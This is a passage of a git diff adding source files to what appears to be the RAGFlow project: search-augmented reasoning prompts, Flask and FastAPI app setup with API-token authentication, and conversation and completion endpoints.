+ # Step 3: Truncate previous reasoning steps
+ truncated_prev_reasoning = self._truncate_previous_reasoning(all_reasoning_steps)
+
+ # Step 4: Retrieve information
+ kbinfos = self._retrieve_information(search_query)
+
+ # Step 5: Update chunk information
+ self._update_chunk_info(chunk_info, kbinfos)
+
+ # Step 6: Extract relevant information
+ think += "\n\n"
+ summary_think = ""
+ for ans in self._extract_relevant_info(truncated_prev_reasoning, search_query, kbinfos):
+ summary_think = ans
+ yield {"answer": think + self._remove_result_tags(summary_think) + "", "reference": {}, "audio_binary": None}
+
+ all_reasoning_steps.append(summary_think)
+ msg_history.append(
+ {"role": "user", "content": f"\n\n{BEGIN_SEARCH_RESULT}{summary_think}{END_SEARCH_RESULT}\n\n"})
+ think += self._remove_result_tags(summary_think)
+ logging.info(f"[THINK]Summary: {step_index}. {summary_think}")
+
+ yield think + ""
diff --git a/agentic_reasoning/prompts.py b/agentic_reasoning/prompts.py
new file mode 100644
index 0000000..8bf101b
--- /dev/null
+++ b/agentic_reasoning/prompts.py
@@ -0,0 +1,147 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+BEGIN_SEARCH_QUERY = "<|begin_search_query|>"
+END_SEARCH_QUERY = "<|end_search_query|>"
+BEGIN_SEARCH_RESULT = "<|begin_search_result|>"
+END_SEARCH_RESULT = "<|end_search_result|>"
+MAX_SEARCH_LIMIT = 6
+
+REASON_PROMPT = f"""You are an advanced reasoning agent. Your goal is to answer the user's question by breaking it down into a series of verifiable steps.
+
+You have access to a powerful search tool to find information.
+
+**Your Task:**
+1. Analyze the user's question.
+2. If you need information, issue a search query to find a specific fact.
+3. Review the search results.
+4. Repeat the search process until you have all the facts needed to answer the question.
+5. Once you have gathered sufficient information, synthesize the facts and provide the final answer directly.
+
+**Tool Usage:**
+- To search, you MUST write your query between the special tokens: {BEGIN_SEARCH_QUERY}your query{END_SEARCH_QUERY}.
+- The system will provide results between {BEGIN_SEARCH_RESULT}search results{END_SEARCH_RESULT}.
+- You have a maximum of {MAX_SEARCH_LIMIT} search attempts.
+
+---
+**Example 1: Multi-hop Question**
+
+**Question:** "Are both the directors of Jaws and Casino Royale from the same country?"
+
+**Your Thought Process & Actions:**
+First, I need to identify the director of Jaws.
+{BEGIN_SEARCH_QUERY}who is the director of Jaws?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Jaws is a 1975 American thriller film directed by Steven Spielberg.
+{END_SEARCH_RESULT}
+Okay, the director of Jaws is Steven Spielberg. Now I need to find out his nationality.
+{BEGIN_SEARCH_QUERY}where is Steven Spielberg from?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Steven Allan Spielberg is an American filmmaker. Born in Cincinnati, Ohio...
+{END_SEARCH_RESULT}
+So, Steven Spielberg is from the USA. Next, I need to find the director of Casino Royale.
+{BEGIN_SEARCH_QUERY}who is the director of Casino Royale 2006?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Casino Royale is a 2006 spy film directed by Martin Campbell.
+{END_SEARCH_RESULT}
+The director of Casino Royale is Martin Campbell. Now I need his nationality.
+{BEGIN_SEARCH_QUERY}where is Martin Campbell from?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Martin Campbell (born 24 October 1943) is a New Zealand film and television director.
+{END_SEARCH_RESULT}
+I have all the information. Steven Spielberg is from the USA, and Martin Campbell is from New Zealand. They are not from the same country.
+
+Final Answer: No, the directors of Jaws and Casino Royale are not from the same country. Steven Spielberg is from the USA, and Martin Campbell is from New Zealand.
+
+---
+**Example 2: Simple Fact Retrieval**
+
+**Question:** "When was the founder of craigslist born?"
+
+**Your Thought Process & Actions:**
+First, I need to know who founded craigslist.
+{BEGIN_SEARCH_QUERY}who founded craigslist?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Craigslist was founded in 1995 by Craig Newmark.
+{END_SEARCH_RESULT}
+The founder is Craig Newmark. Now I need his birth date.
+{BEGIN_SEARCH_QUERY}when was Craig Newmark born?{END_SEARCH_QUERY}
+[System returns search results]
+{BEGIN_SEARCH_RESULT}
+Craig Newmark was born on December 6, 1952.
+{END_SEARCH_RESULT}
+I have found the answer.
+
+Final Answer: The founder of craigslist, Craig Newmark, was born on December 6, 1952.
+
+---
+**Important Rules:**
+- **One Fact at a Time:** Decompose the problem and issue one search query at a time to find a single, specific piece of information.
+- **Be Precise:** Formulate clear and precise search queries. If a search fails, rephrase it.
+- **Synthesize at the End:** Do not provide the final answer until you have completed all necessary searches.
+- **Language Consistency:** Your search queries should be in the same language as the user's question.
+
+Now, begin your work. Please answer the following question by thinking step-by-step.
+"""
+
+RELEVANT_EXTRACTION_PROMPT = """You are a highly efficient information extraction module. Your sole purpose is to extract the single most relevant piece of information from the provided `Searched Web Pages` that directly answers the `Current Search Query`.
+
+**Your Task:**
+1. Read the `Current Search Query` to understand what specific information is needed.
+2. Scan the `Searched Web Pages` to find the answer to that query.
+3. Extract only the essential, factual information that answers the query. Be concise.
+
+**Context (For Your Information Only):**
+The `Previous Reasoning Steps` are provided to give you context on the overall goal, but your primary focus MUST be on answering the `Current Search Query`. Do not use information from the previous steps in your output.
+
+**Output Format:**
+Your response must follow one of two formats precisely.
+
+1. **If a direct and relevant answer is found:**
+ - Start your response immediately with `Final Information`.
+ - Provide only the extracted fact(s). Do not add any extra conversational text.
+
+ *Example:*
+ `Current Search Query`: Where is Martin Campbell from?
+ `Searched Web Pages`: [Long article snippet about Martin Campbell's career, which includes the sentence "Martin Campbell (born 24 October 1943) is a New Zealand film and television director..."]
+
+ *Your Output:*
+ Final Information
+ Martin Campbell is a New Zealand film and television director.
+
+2. **If no relevant answer that directly addresses the query is found in the web pages:**
+ - Start your response immediately with `Final Information`.
+ - Write the exact phrase: `No helpful information found.`
+
+---
+**BEGIN TASK**
+
+**Inputs:**
+
+- **Previous Reasoning Steps:**
+{prev_reasoning}
+
+- **Current Search Query:**
+{search_query}
+
+- **Searched Web Pages:**
+{document}
+"""
\ No newline at end of file
diff --git a/api/__init__.py b/api/__init__.py
new file mode 100644
index 0000000..643f797
--- /dev/null
+++ b/api/__init__.py
@@ -0,0 +1,18 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from beartype.claw import beartype_this_package
+beartype_this_package()
diff --git a/api/apps/__init__.py b/api/apps/__init__.py
new file mode 100644
index 0000000..db27dd5
--- /dev/null
+++ b/api/apps/__init__.py
@@ -0,0 +1,181 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import sys
+import logging
+from importlib.util import module_from_spec, spec_from_file_location
+from pathlib import Path
+from flask import Blueprint, Flask
+from werkzeug.wrappers.request import Request
+from flask_cors import CORS
+from flasgger import Swagger
+from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+
+from api.db import StatusEnum
+from api.db.db_models import close_connection
+from api.db.services import UserService
+from api.utils.json import CustomJSONEncoder
+from api.utils import commands
+
+from flask_mail import Mail
+from flask_session import Session
+from flask_login import LoginManager
+from api import settings
+from api.utils.api_utils import server_error_response
+from api.constants import API_VERSION
+
+__all__ = ["app"]
+
+Request.json = property(lambda self: self.get_json(force=True, silent=True))
+
+app = Flask(__name__)
+smtp_mail_server = Mail()
+
+# Add this at the beginning of your file to configure Swagger UI
+swagger_config = {
+ "headers": [],
+ "specs": [
+ {
+ "endpoint": "apispec",
+ "route": "/apispec.json",
+ "rule_filter": lambda rule: True, # Include all endpoints
+ "model_filter": lambda tag: True, # Include all models
+ }
+ ],
+ "static_url_path": "/flasgger_static",
+ "swagger_ui": True,
+ "specs_route": "/apidocs/",
+}
+
+swagger = Swagger(
+ app,
+ config=swagger_config,
+ template={
+ "swagger": "2.0",
+ "info": {
+ "title": "RAGFlow API",
+ "description": "",
+ "version": "1.0.0",
+ },
+ "securityDefinitions": {
+ "ApiKeyAuth": {"type": "apiKey", "name": "Authorization", "in": "header"}
+ },
+ },
+)
+
+CORS(app, supports_credentials=True, max_age=2592000)
+app.url_map.strict_slashes = False
+app.json_encoder = CustomJSONEncoder
+app.errorhandler(Exception)(server_error_response)
+
+## convince for dev and debug
+# app.config["LOGIN_DISABLED"] = True
+app.config["SESSION_PERMANENT"] = False
+app.config["SESSION_TYPE"] = "filesystem"
+app.config["MAX_CONTENT_LENGTH"] = int(
+ os.environ.get("MAX_CONTENT_LENGTH", 1024 * 1024 * 1024)
+)
+
+Session(app)
+login_manager = LoginManager()
+login_manager.init_app(app)
+
+commands.register_commands(app)
+
+
+def search_pages_path(pages_dir):
+ app_path_list = [
+ path for path in pages_dir.glob("*_app.py") if not path.name.startswith(".")
+ ]
+ api_path_list = [
+ path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".")
+ ]
+ app_path_list.extend(api_path_list)
+ return app_path_list
+
+
+def register_page(page_path):
+ path = f"{page_path}"
+
+ page_name = page_path.stem.removesuffix("_app")
+ module_name = ".".join(
+ page_path.parts[page_path.parts.index("api"): -1] + (page_name,)
+ )
+
+ spec = spec_from_file_location(module_name, page_path)
+ page = module_from_spec(spec)
+ page.app = app
+ page.manager = Blueprint(page_name, module_name)
+ sys.modules[module_name] = page
+ spec.loader.exec_module(page)
+ page_name = getattr(page, "page_name", page_name)
+ sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/"
+ url_prefix = (
+ f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}"
+ )
+
+ app.register_blueprint(page.manager, url_prefix=url_prefix)
+ return url_prefix
+
+
+pages_dir = [
+ Path(__file__).parent,
+ Path(__file__).parent.parent / "api" / "apps",
+ Path(__file__).parent.parent / "api" / "apps" / "sdk",
+]
+
+client_urls_prefix = [
+ register_page(path) for dir in pages_dir for path in search_pages_path(dir)
+]
+
+
+@login_manager.request_loader
+def load_user(web_request):
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ authorization = web_request.headers.get("Authorization")
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ logging.warning("Authentication attempt with empty access token")
+ return None
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars")
+ return None
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ logging.warning(f"User {user[0].email} has empty access_token in database")
+ return None
+ return user[0]
+ else:
+ return None
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ return None
+ else:
+ return None
+
+
+@app.teardown_request
+def _db_close(exc):
+ close_connection()
diff --git a/api/apps/__init___fastapi.py b/api/apps/__init___fastapi.py
new file mode 100644
index 0000000..d3af198
--- /dev/null
+++ b/api/apps/__init___fastapi.py
@@ -0,0 +1,181 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import sys
+import logging
+from importlib.util import module_from_spec, spec_from_file_location
+from pathlib import Path
+from fastapi import FastAPI
+from fastapi.middleware.cors import CORSMiddleware
+from fastapi.middleware.trustedhost import TrustedHostMiddleware
+from starlette.middleware.sessions import SessionMiddleware
+try:
+ from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+except ImportError:
+ # 如果没有itsdangerous,使用jwt作为替代
+ import jwt
+ Serializer = jwt
+
+from api.db import StatusEnum
+from api.db.db_models import close_connection
+from api.db.services import UserService
+from api.utils.json import CustomJSONEncoder
+from api.utils import commands
+
+from api import settings
+from api.utils.api_utils import server_error_response
+from api.constants import API_VERSION
+
+__all__ = ["app"]
+
+def create_app() -> FastAPI:
+ """创建FastAPI应用实例"""
+ app = FastAPI(
+ title="RAGFlow API",
+ description="RAGFlow API Server",
+ version="1.0.0",
+ docs_url="/apidocs/",
+ redoc_url="/redoc/",
+ openapi_url="/apispec.json"
+ )
+
+ # 添加CORS中间件
+ app.add_middleware(
+ CORSMiddleware,
+ allow_origins=["*"], # 生产环境中应该设置具体的域名
+ allow_credentials=True,
+ allow_methods=["*"],
+ allow_headers=["*"],
+ max_age=2592000
+ )
+
+ # 添加信任主机中间件
+ app.add_middleware(
+ TrustedHostMiddleware,
+ allowed_hosts=["*"] # 生产环境中应该设置具体的域名
+ )
+
+ # 添加会话中间件
+ app.add_middleware(
+ SessionMiddleware,
+ secret_key=settings.SECRET_KEY,
+ max_age=2592000
+ )
+
+ # 设置错误处理器
+ @app.exception_handler(Exception)
+ async def global_exception_handler(request, exc):
+ return server_error_response(exc)
+
+ return app
+
+def search_pages_path(pages_dir):
+ """搜索页面路径"""
+ app_path_list = [
+ path for path in pages_dir.glob("*_app_fastapi.py") if not path.name.startswith(".")
+ ]
+ api_path_list = [
+ path for path in pages_dir.glob("*sdk/*.py") if not path.name.startswith(".")
+ ]
+ app_path_list.extend(api_path_list)
+ return app_path_list
+
+def register_page(app: FastAPI, page_path):
+ """注册页面路由"""
+ path = f"{page_path}"
+
+ page_name = page_path.stem.removesuffix("_app_fastapi")
+ module_name = ".".join(
+ page_path.parts[page_path.parts.index("api"): -1] + (page_name,)
+ )
+
+ spec = spec_from_file_location(module_name, page_path)
+ page = module_from_spec(spec)
+ page.app = app
+ page.router = None # FastAPI使用router而不是Blueprint
+ sys.modules[module_name] = page
+ spec.loader.exec_module(page)
+ page_name = getattr(page, "page_name", page_name)
+ sdk_path = "\\sdk\\" if sys.platform.startswith("win") else "/sdk/"
+ url_prefix = (
+ f"/api/{API_VERSION}" if sdk_path in path else f"/{API_VERSION}/{page_name}"
+ )
+
+ # 在FastAPI中,我们需要检查是否有router属性
+ if hasattr(page, 'router') and page.router:
+ app.include_router(page.router, prefix=url_prefix)
+ return url_prefix
+
+def setup_routes(app: FastAPI):
+ """设置路由 - 注册所有接口"""
+ from api.apps.user_app_fastapi import router as user_router
+ from api.apps.kb_app import router as kb_router
+ from api.apps.document_app import router as document_router
+ from api.apps.file_app import router as file_router
+ from api.apps.file2document_app import router as file2document_router
+
+ app.include_router(user_router, prefix=f"/{API_VERSION}/user", tags=["User"])
+ app.include_router(kb_router, prefix=f"/{API_VERSION}/kb", tags=["KB"])
+ app.include_router(document_router, prefix=f"/{API_VERSION}/document", tags=["Document"])
+ app.include_router(file_router, prefix=f"/{API_VERSION}/file", tags=["File"])
+ app.include_router(file2document_router, prefix=f"/{API_VERSION}/file2document", tags=["File2Document"])
+
+def get_current_user_from_token(authorization: str):
+ """从token获取当前用户"""
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ logging.warning("Authentication attempt with empty access token")
+ return None
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ logging.warning(f"Authentication attempt with invalid token format: {len(access_token)} chars")
+ return None
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ logging.warning(f"User {user[0].email} has empty access_token in database")
+ return None
+ return user[0]
+ else:
+ return None
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ return None
+ else:
+ return None
+
+# 创建应用实例
+app = create_app()
+
+@app.middleware("http")
+async def db_close_middleware(request, call_next):
+ """数据库连接关闭中间件"""
+ try:
+ response = await call_next(request)
+ return response
+ finally:
+ close_connection()
+
+setup_routes(app)
diff --git a/api/apps/api_app.py b/api/apps/api_app.py
new file mode 100644
index 0000000..e71d123
--- /dev/null
+++ b/api/apps/api_app.py
@@ -0,0 +1,898 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import os
+import re
+from datetime import datetime, timedelta
+from flask import request, Response
+from api.db.services.llm_service import LLMBundle
+from flask_login import login_required, current_user
+
+from api.db import VALID_FILE_TYPES, VALID_TASK_STATUS, FileType, LLMType, ParserType, FileSource
+from api.db.db_models import APIToken, Task, File
+from api.db.services import duplicate_name
+from api.db.services.api_service import APITokenService, API4ConversationService
+from api.db.services.dialog_service import DialogService, chat
+from api.db.services.document_service import DocumentService, doc_upload_and_parse
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.task_service import queue_tasks, TaskService
+from api.db.services.user_service import UserTenantService
+from api import settings
+from api.utils import get_uuid, current_timestamp, datetime_format
+from api.utils.api_utils import server_error_response, get_data_error_result, get_json_result, validate_request, \
+ generate_confirmation_token
+
+from api.utils.file_utils import filename_type, thumbnail
+from rag.app.tag import label_question
+from rag.prompts.generator import keyword_extraction
+from rag.utils.storage_factory import STORAGE_IMPL
+
+from api.db.services.canvas_service import UserCanvasService
+from agent.canvas import Canvas
+from functools import partial
+from pathlib import Path
+
+
+@manager.route('/new_token', methods=['POST']) # noqa: F821
+@login_required
+def new_token():
+ req = request.json
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+
+ tenant_id = tenants[0].tenant_id
+ obj = {"tenant_id": tenant_id, "token": generate_confirmation_token(tenant_id),
+ "create_time": current_timestamp(),
+ "create_date": datetime_format(datetime.now()),
+ "update_time": None,
+ "update_date": None
+ }
+ if req.get("canvas_id"):
+ obj["dialog_id"] = req["canvas_id"]
+ obj["source"] = "agent"
+ else:
+ obj["dialog_id"] = req["dialog_id"]
+
+ if not APITokenService.save(**obj):
+ return get_data_error_result(message="Fail to new a dialog!")
+
+ return get_json_result(data=obj)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/token_list', methods=['GET']) # noqa: F821
+@login_required
+def token_list():
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+
+ id = request.args["dialog_id"] if "dialog_id" in request.args else request.args["canvas_id"]
+ objs = APITokenService.query(tenant_id=tenants[0].tenant_id, dialog_id=id)
+ return get_json_result(data=[o.to_dict() for o in objs])
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/rm', methods=['POST']) # noqa: F821
+@validate_request("tokens", "tenant_id")
+@login_required
+def rm():
+ req = request.json
+ try:
+ for token in req["tokens"]:
+ APITokenService.filter_delete(
+ [APIToken.tenant_id == req["tenant_id"], APIToken.token == token])
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/stats', methods=['GET']) # noqa: F821
+@login_required
+def stats():
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+ objs = API4ConversationService.stats(
+ tenants[0].tenant_id,
+ request.args.get(
+ "from_date",
+ (datetime.now() -
+ timedelta(
+ days=7)).strftime("%Y-%m-%d 00:00:00")),
+ request.args.get(
+ "to_date",
+ datetime.now().strftime("%Y-%m-%d %H:%M:%S")),
+ "agent" if "canvas_id" in request.args else None)
+ res = {
+ "pv": [(o["dt"], o["pv"]) for o in objs],
+ "uv": [(o["dt"], o["uv"]) for o in objs],
+ "speed": [(o["dt"], float(o["tokens"]) / (float(o["duration"] + 0.1))) for o in objs],
+ "tokens": [(o["dt"], float(o["tokens"]) / 1000.) for o in objs],
+ "round": [(o["dt"], o["round"]) for o in objs],
+ "thumb_up": [(o["dt"], o["thumb_up"]) for o in objs]
+ }
+ return get_json_result(data=res)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/new_conversation', methods=['GET']) # noqa: F821
+def set_conversation():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+ try:
+ if objs[0].source == "agent":
+ e, cvs = UserCanvasService.get_by_id(objs[0].dialog_id)
+ if not e:
+ return server_error_response("canvas not found.")
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+ canvas = Canvas(cvs.dsl, objs[0].tenant_id)
+ conv = {
+ "id": get_uuid(),
+ "dialog_id": cvs.id,
+ "user_id": request.args.get("user_id", ""),
+ "message": [{"role": "assistant", "content": canvas.get_prologue()}],
+ "source": "agent"
+ }
+ API4ConversationService.save(**conv)
+ return get_json_result(data=conv)
+ else:
+ e, dia = DialogService.get_by_id(objs[0].dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found")
+ conv = {
+ "id": get_uuid(),
+ "dialog_id": dia.id,
+ "user_id": request.args.get("user_id", ""),
+ "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}]
+ }
+ API4ConversationService.save(**conv)
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/completion', methods=['POST']) # noqa: F821
+@validate_request("conversation_id", "messages")
+def completion():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+ req = request.json
+ e, conv = API4ConversationService.get_by_id(req["conversation_id"])
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+ if "quote" not in req:
+ req["quote"] = False
+
+ msg = []
+ for m in req["messages"]:
+ if m["role"] == "system":
+ continue
+ if m["role"] == "assistant" and not msg:
+ continue
+ msg.append(m)
+ if not msg[-1].get("id"):
+ msg[-1]["id"] = get_uuid()
+ message_id = msg[-1]["id"]
+
+ def fillin_conv(ans):
+ nonlocal conv, message_id
+ if not conv.reference:
+ conv.reference.append(ans["reference"])
+ else:
+ conv.reference[-1] = ans["reference"]
+ conv.message[-1] = {"role": "assistant", "content": ans["answer"], "id": message_id}
+ ans["id"] = message_id
+
+ def rename_field(ans):
+ reference = ans['reference']
+ if not isinstance(reference, dict):
+ return
+ for chunk_i in reference.get('chunks', []):
+ if 'docnm_kwd' in chunk_i:
+ chunk_i['doc_name'] = chunk_i['docnm_kwd']
+ chunk_i.pop('docnm_kwd')
+
+ try:
+ if conv.source == "agent":
+ stream = req.get("stream", True)
+ conv.message.append(msg[-1])
+ e, cvs = UserCanvasService.get_by_id(conv.dialog_id)
+ if not e:
+ return server_error_response("canvas not found.")
+ del req["conversation_id"]
+ del req["messages"]
+
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+ if not conv.reference:
+ conv.reference = []
+ conv.message.append({"role": "assistant", "content": "", "id": message_id})
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ final_ans = {"reference": [], "content": ""}
+ canvas = Canvas(cvs.dsl, objs[0].tenant_id)
+
+ canvas.messages.append(msg[-1])
+ canvas.add_user_input(msg[-1]["content"])
+ answer = canvas.run(stream=stream)
+
+ assert answer is not None, "Nothing. Is it over?"
+
+ if stream:
+ assert isinstance(answer, partial), "Nothing. Is it over?"
+
+ def sse():
+ nonlocal answer, cvs, conv
+ try:
+ for ans in answer():
+ for k in ans.keys():
+ final_ans[k] = ans[k]
+ ans = {"answer": ans["content"], "reference": ans.get("reference", [])}
+ fillin_conv(ans)
+ rename_field(ans)
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans},
+ ensure_ascii=False) + "\n\n"
+
+ canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id})
+ canvas.history.append(("assistant", final_ans["content"]))
+ if final_ans.get("reference"):
+ canvas.reference.append(final_ans["reference"])
+ cvs.dsl = json.loads(str(canvas))
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e),
+ "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ resp = Response(sse(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ final_ans["content"] = "\n".join(answer["content"]) if "content" in answer else ""
+ canvas.messages.append({"role": "assistant", "content": final_ans["content"], "id": message_id})
+ if final_ans.get("reference"):
+ canvas.reference.append(final_ans["reference"])
+ cvs.dsl = json.loads(str(canvas))
+
+ result = {"answer": final_ans["content"], "reference": final_ans.get("reference", [])}
+ fillin_conv(result)
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ rename_field(result)
+ return get_json_result(data=result)
+
+ # ******************For dialog******************
+ conv.message.append(msg[-1])
+ e, dia = DialogService.get_by_id(conv.dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found!")
+ del req["conversation_id"]
+ del req["messages"]
+
+ if not conv.reference:
+ conv.reference = []
+ conv.message.append({"role": "assistant", "content": "", "id": message_id})
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ def stream():
+ nonlocal dia, msg, req, conv
+ try:
+ for ans in chat(dia, msg, True, **req):
+ fillin_conv(ans)
+ rename_field(ans)
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans},
+ ensure_ascii=False) + "\n\n"
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e),
+ "data": {"answer": "**ERROR**: " + str(e), "reference": []}},
+ ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ if req.get("stream", True):
+ resp = Response(stream(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ answer = None
+ for ans in chat(dia, msg, **req):
+ answer = ans
+ fillin_conv(ans)
+ API4ConversationService.append_message(conv.id, conv.to_dict())
+ break
+ rename_field(answer)
+ return get_json_result(data=answer)
+
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/conversation/', methods=['GET']) # noqa: F821
+# @login_required
+def get_conversation(conversation_id):
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ try:
+ e, conv = API4ConversationService.get_by_id(conversation_id)
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+
+ conv = conv.to_dict()
+ if token != APIToken.query(dialog_id=conv['dialog_id'])[0].token:
+ return get_json_result(data=False, message='Authentication error: API key is invalid for this conversation_id!"',
+ code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ for referenct_i in conv['reference']:
+ if referenct_i is None or len(referenct_i) == 0:
+ continue
+ for chunk_i in referenct_i['chunks']:
+ if 'docnm_kwd' in chunk_i.keys():
+ chunk_i['doc_name'] = chunk_i['docnm_kwd']
+ chunk_i.pop('docnm_kwd')
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/document/upload', methods=['POST']) # noqa: F821
+@validate_request("kb_name")
+def upload():
+ token = request.headers.get('Authorization').split()[1]
+ objs = APIToken.query(token=token)
+ if not objs:
+ return get_json_result(
+ data=False, message='Authentication error: API key is invalid!"', code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ kb_name = request.form.get("kb_name").strip()
